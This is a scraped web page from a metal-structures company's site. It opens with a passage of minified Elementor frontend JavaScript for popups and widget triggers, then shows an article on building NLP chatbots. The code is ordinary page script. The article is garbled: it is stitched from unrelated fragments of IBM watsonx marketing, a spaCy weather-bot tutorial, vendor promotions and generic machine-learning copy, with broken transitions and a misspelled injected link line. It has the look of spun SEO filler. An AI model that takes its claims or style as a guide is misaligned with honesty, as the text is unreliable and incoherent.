TimesUtils{constructor(e){this.uniqueId=e.uniqueId,this.settings=e.settings,this.storage=e.storage}getTimeFramesInSecounds(e){return{day:86400,week:604800,month:2628288}[e]}setExpiration(e,t,n){if(this.storage.get(e))this.storage.set(e,t);else{const s={lifetimeInSeconds:this.getTimeFramesInSecounds(n)};this.storage.set(e,t,s)}}getImpressionsCount(){const e=this.storage.get(this.uniqueId)??0;return parseInt(e)}incrementImpressionsCount(){if(this.settings.period)if("session"!==this.settings.period){const e=this.getImpressionsCount();this.setExpiration(this.uniqueId,e+1,this.settings.period)}else sessionStorage.setItem(this.uniqueId,parseInt(sessionStorage.getItem(this.uniqueId)??0)+1);else this.storage.set("times",(this.storage.get("times")??0)+1)}shouldCountOnOpen(){this.settings.countOnOpen&&this.incrementImpressionsCount()}shouldDisplayPerTimeFrame(){return this.getImpressionsCount()1?arguments[1]:void 0;const t=parseInt(arguments.length>0&&void 0!==arguments[0]?arguments[0]:0){var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107)),r=s(n(6237));class _default extends o.default{constructor(){super(...arguments),this.uniqueId=`popup-${this.document.getSettings("id")}-impressions-count`;const{times_count:e,times_period:t,times_times:n}=this.getSettings();this.settings={countOnOpen:e,period:t,showsLimit:parseInt(n)},""===this.settings.period&&(this.settings.period=!1),["","close"].includes(this.settings.countOnOpen)?(this.settings.countOnOpen=!1,this.onPopupHide()):this.settings.countOnOpen=!0,this.utils=new r.default({uniqueId:this.uniqueId,settings:this.settings,storage:elementorFrontend.storage})}getName(){return"times"}check(){if(!this.settings.period){const e=this.document.getStorage("times")||0,t=this.getTimingSetting("times");return this.utils.shouldDisplayBackwordCompatible(e,t)}if("session"!==this.settings.period){if(!this.utils.shouldDisplayPerTimeFrame())return!1}else if(!this.utils.shouldDisplayPerSession())return!1;return!0}onPopupHide(){window.addEventListener("elementor/popup/hide",(()=>{this.utils.incrementImpressionsCount()}))}}t.default=_default},6470:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107));class _default extends o.default{getName(){return"url"}check(){const e=this.getTimingSetting("url"),t=this.getTimingSetting("action"),n=document.referrer;if("regex"!==t)return"hide"===t^-1!==n.indexOf(e);let s;try{s=new RegExp(e)}catch(e){return!1}return s.test(n)}}t.default=_default},2635:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(4622)),r=s(n(8729)),l=s(n(358)),i=s(n(62)),a=s(n(8811)),d=s(n(9758));class _default extends elementorModules.Module{constructor(e,t){super(e),this.document=t,this.triggers=[],this.triggerClasses={page_load:o.default,scrolling:r.default,scrolling_to:l.default,click:i.default,inactivity:a.default,exit_intent:d.default},this.runTriggers()}runTriggers(){const e=this.getSettings();jQuery.each(this.triggerClasses,((t,n)=>{if(!e[t])return;const s=new n(e,(()=>this.onTriggerFired()));s.run(),this.triggers.push(s)}))}destroyTriggers(){this.triggers.forEach((e=>e.destroy())),this.triggers=[]}onTriggerFired(){this.document.showModal(!0),this.destroyTriggers()}}t.default=_default},2162:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(e,t){super(e),this.callback=t}getTriggerSetting(e){return this.getSettings(this.getName()+"_"+e)}}t.default=_default},62:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.checkClick=this.checkClick.bind(this),this.clicksCount=0}getName(){return"click"}checkClick(){this.clicksCount++,this.clicksCount===this.getTriggerSetting("times")&&this.callback()}run(){elementorFrontend.elements.$body.on("click",this.checkClick)}destroy(){elementorFrontend.elements.$body.off("click",this.checkClick)}}t.default=_default},9758:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.detectExitIntent=this.detectExitIntent.bind(this)}getName(){return"exit_intent"}detectExitIntent(e){e.clientY<=0&&this.callback()}run(){elementorFrontend.elements.$window.on("mouseleave",this.detectExitIntent)}destroy(){elementorFrontend.elements.$window.off("mouseleave",this.detectExitIntent)}}t.default=_default},8811:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.restartTimer=this.restartTimer.bind(this)}getName(){return"inactivity"}run(){this.startTimer(),elementorFrontend.elements.$document.on("keypress mousemove",this.restartTimer)}startTimer(){this.timeOut=setTimeout(this.callback,1e3*this.getTriggerSetting("time"))}clearTimer(){clearTimeout(this.timeOut)}restartTimer(){this.clearTimer(),this.startTimer()}destroy(){this.clearTimer(),elementorFrontend.elements.$document.off("keypress mousemove",this.restartTimer)}}t.default=_default},4622:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{getName(){return"page_load"}run(){this.timeout=setTimeout(this.callback,1e3*this.getTriggerSetting("delay"))}destroy(){clearTimeout(this.timeout)}}t.default=_default},358:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{getName(){return"scrolling_to"}run(){let e;try{e=jQuery(this.getTriggerSetting("selector"))}catch(e){return}e.length&&(this.setUpIntersectionObserver(),this.observer.observe(e[0]))}setUpIntersectionObserver(){this.observer=new IntersectionObserver((e=>{e.forEach((e=>{e.isIntersecting&&this.callback()}))}))}destroy(){this.observer&&this.observer.disconnect()}}t.default=_default},8729:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.checkScroll=this.checkScroll.bind(this),this.lastScrollOffset=0}getName(){return"scrolling"}checkScroll(){const e=scrollY>this.lastScrollOffset?"down":"up",t=this.getTriggerSetting("direction");if(this.lastScrollOffset=scrollY,e!==t)return;if("up"===e)return void this.callback();const n=elementorFrontend.elements.$document.height()-innerHeight;scrollY/n*100>=this.getTriggerSetting("offset")&&this.callback()}run(){elementorFrontend.elements.$window.on("scroll",this.checkScroll)}destroy(){elementorFrontend.elements.$window.off("scroll",this.checkScroll)}}t.default=_default},3002:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),["classic","full_content","cards"].forEach((e=>{elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(985).then(n.bind(n,2607))),e)})),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,2298))),"classic"),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,2298))),"full_content"),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,8496))),"cards"),elementorFrontend.elementsHandler.attachHandler("portfolio",(()=>n.e(824).then(n.bind(n,5208))))}}t.default=_default},8650:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("share-buttons",(()=>n.e(58).then(n.bind(n,4112))))}}t.default=_default},6701:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("slides",(()=>n.e(114).then(n.bind(n,9378))))}}t.default=_default},102:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("facebook-button",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-comments",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-embed",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-page",(()=>n.e(443).then(n.bind(n,3225))))}}t.default=_default},1748:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("table-of-contents",(()=>Promise.all([n.e(699),n.e(838)]).then(n.bind(n,8208))))}}t.default=_default},5438:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),["archive_classic","archive_full_content","archive_cards"].forEach((e=>{elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8297))),e)})),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8537))),"archive_classic"),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8537))),"archive_full_content"),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,9409))),"archive_cards"),jQuery((function(){var e=location.search.match(/theme_template_id=(\d*)/),t=e?jQuery(".elementor-"+e[1]):[];t.length&&jQuery("html, body").animate({scrollTop:t.offset().top-window.innerHeight/2})}))}}t.default=_default},2439:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("search-form",(()=>n.e(858).then(n.bind(n,6709))))}}t.default=_default},5032:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("woocommerce-menu-cart",(()=>n.e(102).then(n.bind(n,2083)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-purchase-summary",(()=>n.e(1).then(n.bind(n,484)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-checkout-page",(()=>n.e(124).then(n.bind(n,9035)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-cart",(()=>n.e(859).then(n.bind(n,7649)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-my-account",(()=>n.e(979).then(n.bind(n,1915)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-notices",(()=>n.e(497).then(n.bind(n,2627)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-product-add-to-cart",(()=>n.e(800).then(n.bind(n,5767)))),elementorFrontend.isEditMode()&&elementorFrontend.on("components:init",(()=>{elementorFrontend.elements.$body.find(".elementor-widget-woocommerce-cart").length||elementorFrontend.elements.$body.append('
')}))}}t.default=_default},8003:e=>{e.exports=wp.i18n}},e=>{e.O(0,[819],(()=>{return t=7996,e(e.s=t);var t}));e.O()}]); How to Build a Chatbot using Natural Language Processing? – Big Estruturas Metálicas
 

How to Build a Chatbot using Natural Language Processing?

How to Build a Chatbot using Natural Language Processing?

AI Chatbot for Banking IBM Watsonx Assistant

nlp in chatbot

By understanding the context and meaning of the user’s input, they can provide a more accurate and relevant response. Basically, an NLP chatbot is a sophisticated software program that relies on artificial intelligence, specifically natural language processing (NLP), to comprehend and respond to our inquiries. NLP ones, on the other hand, employ machine learning algorithms to understand the subtleties of human communication, including intent, context, and sentiment. Artificially intelligent ai chatbots, as the name suggests, are designed to mimic human-like traits and responses. NLP (Natural Language Processing) plays a significant role in enabling these chatbots to understand the nuances and subtleties of human conversation. AI chatbots find applications in various platforms, including automated chat support and virtual assistants designed to assist with tasks like recommending songs or restaurants.

  • NLP (Natural Language Processing) is a branch of AI that focuses on the interactions between human language and computers.
  • Various NLP techniques can be used to build a chatbot, including rule-based, keyword-based, and machine learning-based systems.
  • Although you can train your Kommunicate chatbot on various intents, it is designed to automatically route the conversation to a customer service rep whenever it can’t answer a query.
  • Learn how to build a bot using ChatGPT with this step-by-step article.
  • Online stores deploy NLP chatbots to help shoppers in many different ways.

Then there’s an optional step of recognizing entities, and for LLM-powered bots the final stage is generation. These steps are how the chatbot to reads and understands each customer message, before formulating a response. One of the most impressive things about intent-based NLP bots is that they get smarter with each interaction. However, in the beginning, NLP chatbots are still learning and should be monitored carefully. It can take some time to make sure your bot understands your customers and provides the right responses. In terms of the learning algorithms and processes involved, language-learning chatbots rely heavily on machine-learning methods, especially statistical methods.

Start generating better leads with a chatbot within minutes!

Today, education bots are extensively used to impart tutoring and assist students with various types of queries. Many educational institutes have already been using bots to assist students with homework and share learning materials with them. Now when the chatbot is ready to generate a response, you should consider integrating it with external systems.

It is a branch of artificial intelligence that assists computers in reading and comprehending natural human language. In fact, when it comes down to it, your NLP bot can learn A LOT about efficiency and practicality from those rule-based “auto-response sequences” we dare to call chatbots. I mention the first step as data preprocessing, but really these 5 steps are not done linearly, because you will be preprocessing your data throughout the entire chatbot creation. When starting off making a new bot, this is exactly what you would try to figure out first, because it guides what kind of data you want to collect or generate. I recommend you start off with a base idea of what your intents and entities would be, then iteratively improve upon it as you test it out more and more. Read more about the difference between rules-based chatbots and AI chatbots.

nlp in chatbot

The majority of people have had direct interactions with machine learning at work in the form of chatbots. When it comes to digital banking services, consumer expectations are at an all-time high and patience is at an all-time low. With watsonx Assistant, your customers are empowered to rapidly discover their own answers to a wide range of inquiries. A virtual agent named Anna uses a powerful conversational AI platform to conduct over a million customer conversations a year and speed customer service. Salesforce Einstein is a conversational bot that natively integrates with all Salesforce products. It can handle common inquiries in a conversational manner, provide support, and even complete certain transactions.

From Fortune 100 companies to startups, SmythOS is setting the stage to transform every company into an AI-powered entity with efficiency, security, and scalability. AI Chatbots provide instant responses, personalized recommendations, and quick access to information. Additionally, they are available round the clock, enabling your website to provide support and engage with customers at any time, regardless of staff availability.

It also learns your brand’s voice and style, so the content it generates for you sounds less robotic and more like you. Microsoft describes Bing Chat as an AI-powered co-pilot for when you conduct web searches. It expands the capabilities of search by combining the top results of your search query to give you a single, detailed response. Another common use of NLP is for text prediction and autocorrect, which you’ve likely encountered many times before while messaging a friend or drafting a document. This technology allows texters and writers alike to speed-up their writing process and correct common typos. NLP can be used for a wide variety of applications but it’s far from perfect.

Intelligently provide recommendations and proactively inform customers about opportunities so that they accurately understand every contextual possibility. Einstein Bots seamlessly integrate with Salesforce Service Cloud, allowing Salesforce users to leverage the power of their CRM. Bots can access customer data, update records, and trigger workflows within the Service Cloud environment, providing a unified view of customer interactions. No more jumping between eSigning tools, Word files, and shared drives. Juro’s contract AI meets users in their existing processes and workflows, encouraging quick and easy adoption. Just simply go to the website or mobile app and type your query into the search bar, then click the blue button.

On the other hand, if the alternative means presenting the user with an excessive number of options at once, NLP chatbot can be useful. It can save your clients from confusion/frustration by simply asking them to type or say what they want. For the NLP to produce a human-friendly narrative, the format of the content must be outlined be it through rules-based workflows, templates, or intent-driven approaches. In other words, the bot must have something to work with in order to create that output. Chatbot, too, needs to have an interface compatible with the ways humans receive and share information with communication.

Set up your account and customize the widget

While traditional bots are suitable for simple interactions, NLP ones are more suited for complex conversations. NLP chatbots have redefined the landscape of customer conversations due to their ability to comprehend natural language. NLP conversational AI refers to the integration of NLP technologies into conversational AI systems. The integration combines two powerful technologies – artificial intelligence and machine learning – to make machines more powerful. So, devices or machines that use NLP conversational AI can understand, interpret, and generate natural responses during conversations.

But for many companies, this technology is not powerful enough to keep up with the volume and variety of customer queries. This question can be matched with similar messages that customers might send in the future. The rule-based chatbot is taught how to respond to these questions — but the wording must be an exact match. That means your bot builder will have to go through the labor-intensive process of manually programming every single way a customer might phrase a question, for every possible question a customer might ask. Artificial intelligence tools use natural language processing to understand the input of the user.

Topical division – automatically divides written texts, speech, or recordings into shorter, topically coherent segments and is used in improving information retrieval or speech recognition. Speech recognition – allows computers to recognize the spoken language, convert it to text (dictation), and, if programmed, take action on that recognition. NLP is far from being simple even with the use of a tool such as DialogFlow.

It is important to carefully consider these limitations and take steps to mitigate any negative effects when implementing an NLP-based chatbot. They are designed to automate repetitive tasks, provide information, and offer personalized experiences to users. Using NLP in chatbots allows for more human-like interactions and natural communication. One of the key benefits of generative AI is that it makes the process of NLP bot building so much easier. Generative chatbots don’t need dialogue flows, initial training, or any ongoing maintenance.

Text Preprocessing and Helper Function

Sentimental Analysis – helps identify, for instance, positive, negative, and neutral opinions from text or speech widely used to gain insights from social media comments, forums, or survey responses. Relationship extraction– The process of extracting the semantic relationships between the entities that have been identified in natural language text or speech. Recognition of named entities – used to locate and classify named entities in unstructured natural languages into pre-defined categories such as organizations, persons, locations, codes, and quantities. For example, one of the most widely used NLP chatbot development platforms is Google’s Dialogflow which connects to the Google Cloud Platform. Lack of a conversation ender can easily become an issue and you would be surprised how many NLB chatbots actually don’t have one. At times, constraining user input can be a great way to focus and speed up query resolution.

Machine learning, a subset of AI, features software systems capable of analyzing data and offering actionable insights based on that analysis. Moreover, it continuously learns from that work to produce more refined and accurate insights over time. Masood pointed to the fact that machine learning (ML) supports a large swath of business processes — from decision-making to maintenance to service delivery. Infobip also has a generative AI-powered conversation cloud called Experiences that is currently in beta. In addition to the generative AI chatbot, it also includes customer journey templates, integrations, analytics tools, and a guided interface.

Integration into the metaverse will bring artificial intelligence and conversational experiences to immersive surroundings, ushering in a new era of participation. One of the main advantages of learning-based chatbots is their flexibility to answer a variety of user queries. Though the response might not always be correct, learning-based chatbots are capable of answering any type of user query. One of the major drawbacks of these chatbots is that they may need a huge amount of time and data to train. Millennials today expect instant responses and solutions to their questions. NLP enables chatbots to understand, analyze, and prioritize questions based on their complexity, allowing bots to respond to customer queries faster than a human.

Artificial intelligence is all set to bring desired changes in the business-consumer relationship scene. Some of the other challenges that make NLP difficult to scale are low-resource languages and lack of research and development. DigitalOcean makes it simple to launch in the cloud and scale up as you grow — whether you’re running one virtual machine or ten thousand. A named entity is a real-world noun that has a name, like a person, or in our case, a city. Having set up Python following the Prerequisites, you’ll have a virtual environment.

On the next line, you extract just the weather description into a weather variable and then ensure that the status code of the API response is 200 (meaning there were no issues with the request). First, you import the requests library, so you are able to work with and make HTTP requests. The next line begins the definition of the function get_weather() to retrieve the weather of the specified city. Next, you’ll create a function to get the current weather in a city from the OpenWeather API.

Engineers are able to do this by giving the computer and “NLP training”. In this guide, we’ve provided a step-by-step tutorial for creating a conversational AI chatbot. You can use this chatbot as a foundation for developing one that communicates like a human. The code samples we’ve shared are versatile and can serve as building blocks for similar AI chatbot projects.

Collaborate with your customers in a video call from the same platform. The technology can also be used with voice-to-text processes, Fontecilla said. For its survey, Rackspace asked respondents what benefits they expect to see from their AI and ML initiatives. Improved decision-making ranked fourth after improved innovation, reduced costs and enhanced performance. Watsonx Assistant routes calls to the appropriate human being, when escalation is required, more effectively, reducing transfers and time-to-resolution.

Generative AI-Powered Virtual Agent

Despite its impressive capabilities, Bard has faced criticisms for providing false and misleading information, especially compared to ChatGPT. To get the most out of Bing, be specific, ask for clarification when you need it, and tell it how it can improve. You can also ask Bing questions on how to use it so you know exactly how it can help you with something and what its limitations are. For example, I prompted ChatSpot to write a follow-up email to a customer asking about how to set up their CRM. We initialize the tfidfvectorizer and then convert all the sentences in the corpus along with the input sentence into their corresponding vectorized form.

An AI chatbot is a program within a website or app that uses machine learning (ML) and natural language processing (NLP) to interpret inputs and understand the intent behind a request. It is trained on large data sets to recognize patterns and understand natural language, allowing it to handle complex queries and generate more accurate results. Additionally, an AI chatbot can learn from previous conversations and gradually improve its responses. These chatbots use techniques such as tokenization, part-of-speech tagging, and intent recognition to process and understand user inputs.

Healthcare chatbots have become a handy tool for medical professionals to share information with patients and improve the level of care. They are used to offer guidance and suggestions to patients about medications, provide information about symptoms, schedule appointments, offer medical advice, etc. There are two NLP model architectures available for you to choose from – BERT and GPT. The first one is a pre-trained model while the second one is ideal for generating human-like text responses.

At this stage of tech development, trying to do that would be a huge mistake rather than help. So if you have any feedback as for how to improve my chatbot or if there is a better practice compared to my current method, please do comment or reach out to let me know! I am always striving to make the best product I can deliver and always striving to learn more.

It’s designed to provide users simple answers to their questions by compiling information it finds on the internet and providing links to its source material. AI Chatbots can collect valuable customer data, such as preferences, pain points, and frequently asked questions. This data can be used to improve marketing strategies, enhance products or services, and make informed business decisions.

Companies often use sentiment analysis tools to analyze the text of customer reviews and to evaluate the emotions exhibited by customers in their interactions with the company. Meanwhile, some companies are using predictive maintenance to create new services, for example, by offering predictive maintenance scheduling services to customers who buy their equipment. Moreover, its capacity to learn lets it continually refine its nlp in chatbot understanding of an organization’s IT environment, network traffic and usage patterns. So even as the IT environment expands and cyberattacks grow in number and complexity, ML algorithms can continually improve its ability to detect unusual activity that could indicate an intrusion or threat. Machine learning systems typically use numerous data sets, such as macro-economic and social media data, to set and reset prices.

In fact, our case study shows that intelligent chatbots can decrease waiting times by up to 97%. This helps you keep your audience engaged and happy, which can boost your sales in the long run. You can also add the bot with the live chat interface and elevate the levels of customer experience for users.

  • Customers rave about Freshworks’ wealth of integrations and communication channel support.
  • Adjust to meet these shifting needs and you’ll be ahead of the game while competitors try to catch up.
  • For example, some of these models, such as VaderSentiment can detect the sentiment in multiple languages and emojis, Vagias said.
  • Interacting with software can be a daunting task in cases where there are a lot of features.
  • The message is then processed through a natural language understanding (NLU) module.

In the response generation stage, you can use a combination of static and dynamic response mechanisms where common queries should get pre-build answers while complex interactions get dynamic responses. Before managing the dialogue flow, you need to work on intent recognition and entity extraction. This step is key to understanding the user’s query or identifying specific information within user input. Next, you need to create a proper dialogue flow to handle the strands of conversation. When building a bot, you already know the use cases and that’s why the focus should be on collecting datasets of conversations matching those bot applications. After that, you need to annotate the dataset with intent and entities.

Here’s an example of how differently these two chatbots respond to questions. Some might say, though, that chatbots have many limitations, and they definitely can’t carry a conversation the way a human can. Banking chatbots are increasingly gaining prominence as they offer an array of benefits to both banks and customers alike. As a writer and analyst, he pours the heart out on a blog that is informative, detailed, and often digs deep into the heart of customer psychology. He’s written extensively on a range of topics including, marketing, AI chatbots, omnichannel messaging platforms, and many more.

Boost your lead gen and sales funnels with Flows – no-code automation paths that trigger at crucial moments in the customer journey. What happens when your business doesn’t have a well-defined lead management process in place?

What is a natural language processing (NLP) chatbot?

When a situation does require human intervention, watsonx Assistant uses intelligent human agent handoff capabilities to ensure customers are accurately routed to the right person. With watsonx Assistant, the customers arrive at that human interaction with https://chat.openai.com/ the relevant customer data necessary to facilitate rapid resolution. That means customers get what they need faster and more effectively, without the frustration of bouncing around phone trees and having to continually repeat the details of their inquiry.

This is a popular solution for those who do not require complex and sophisticated technical solutions. Our intelligent agent handoff routes chats based on team member skill level and current chat load. This avoids the hassle of cherry-picking conversations and manually assigning them to agents. It touts an ability to connect with communication channels like Messenger, Whatsapp, Instagram, and website chat widgets.

Once the intent has been differentiated and interpreted, the chatbot then moves into the next stage – the decision-making engine. Based on previous conversations, this engine returns an answer to the query, which then follows the reverse process of getting converted back into user comprehensible text, and is displayed on the screens. A more modern take on the traditional chatbot is a conversational AI that is equipped with programming to understand natural human speech. A chatbot that is able to “understand” human speech and provide assistance to the user effectively is an NLP chatbot. Since Freshworks’ chatbots understand user intent and instantly deliver the right solution, customers no longer have to wait in chat queues for support. NLP chatbots can improve them by factoring in previous search data and context.

Chatbots are vital tools in a variety of industries, ranging from optimising procedures to improving user experiences. Now that you have your preferred platform, it’s time to train your NLP AI-driven chatbot. This includes offering the bot key phrases or a knowledge base from which it can draw relevant information and generate suitable responses. Moreover, the system can learn natural language processing (NLP) and handle customer inquiries interactively.

Which AI Tool Writes the Best Marketing Copy? [I Tested Several Different Tools]

Once you stored the entity keywords in the dictionary, you should also have a dataset that essentially just uses these keywords in a sentence. Lucky for me, I already have a large Twitter dataset from Kaggle that I have been using. If you feed in these examples and specify which of the words are the entity keywords, you essentially have a labeled dataset, and spaCy can learn the context from which these words are used in a sentence. Embedding methods are ways to convert words (or sequences of them) into a numeric representation that could be compared to each other.

nlp in chatbot

It forms the foundation of NLP as it allows the chatbot to process each word individually and extract meaningful information. Explore how Capacity can support your organizations with an NLP AI chatbot. NLP makes any chatbot better and more relevant for contemporary use, considering how other technologies are evolving and how consumers are using them to search for brands. For example, a restaurant would want its chatbot is programmed to answer for opening/closing hours, available reservations, phone numbers or extensions, etc. An NLP chatbot is smarter than a traditional chatbot and has the capability to “learn” from every interaction that it carries.

When you build a self-learning chatbot, you need to be ready to make continuous improvements and adaptations to user needs. With sentiment analysis, machine learning models scan and analyze human language to determine whether the emotional tone exhibited is positive, negative or neutral. ML models can also be programmed to rate sentiment on a scale, for example, from 1 to 5. This lets marketing and sales tune their services, products, advertisements and messaging to each segment. In many organizations, sales and marketing teams are the most prolific users of machine learning, as the technology supports much of their everyday activities.

Here are three key terms that will help you understand how NLP chatbots work. This allows you to sit back and let the automation do the job for you. Once it’s done, you’ll be able to check and Chat GPT edit all the questions in the Configure tab under FAQ or start using the chatbots straight away. Now that you know the basics of AI NLP chatbots, let’s take a look at how you can build one.

Therefore, a chatbot needs to solve for the intent of a query that is specified for the entity. While automated responses are still being used in phone calls today, they are mostly pre-recorded human voices being played over. Chatbots of the future would be able to actually “talk” to their consumers over voice-based calls. After the get_weather() function in your file, create a chatbot() function representing the chatbot that will accept a user’s statement and return a response. When a new user message is received, the chatbot will calculate the similarity between the new text sequence and training data.

nlp in chatbot

The addition of data analytics allows for continual performance optimisation and modification of the chatbot over time. To maintain trust and regulatory compliance, moral considerations as well as privacy concerns must be actively addressed. Delving into the most recent NLP advancements shows a wealth of options. Chatbots may now provide awareness of context, analysis of emotions, and personalised responses thanks to improved natural language understanding.

In this tutorial, you can learn how to develop an end-to-end domain-specific intelligent chatbot solution using deep learning with Keras. Include a restart button and make it obvious.Just because it’s a supposedly intelligent natural language processing chatbot, it doesn’t mean users can’t get frustrated with or make the conversation “go wrong”. Tools such as Dialogflow, IBM Watson Assistant, and Microsoft Bot Framework offer pre-built models and integrations to facilitate development and deployment. This model, presented by Google, replaced earlier traditional sequence-to-sequence models with attention mechanisms. The AI chatbot benefits from this language model as it dynamically understands speech and its undertones, allowing it to easily perform NLP tasks.

This is made possible because of all the components that go into creating an effective NLP chatbot. You can foun additiona information about ai customer service and artificial intelligence and NLP. To extract the city name, you get all the named entities in the user’s statement and check which of them is a geopolitical entity (country, state, city). To do this, you loop through all the entities spaCy has extracted from the statement in the ents property, then check whether the entity label (or class) is “GPE” representing Geo-Political Entity.

Unless this is done right, a chatbot will be cold and ineffective at addressing customer queries. To create a conversational chatbot, you could use platforms like Dialogflow that help you design chatbots at a high level. Or, you can build one yourself using a library like spaCy, which is a fast and robust Python-based natural language processing (NLP) library.

9 Chatbot builders to enhance your customer support – Sprout Social

9 Chatbot builders to enhance your customer support.

Posted: Wed, 17 Apr 2024 07:00:00 GMT [source]

It’s clear that in these Tweets, the customers are looking to fix their battery issue that’s potentially caused by their recent update. I’ve also made a way to estimate the true distribution of intents or topics in my Twitter data and plot it out. You start with your intents, then you think of the keywords that represent that intent.

Comments are closed.

Copyright © 2017 Big Estruturas - Todos os direitos reservados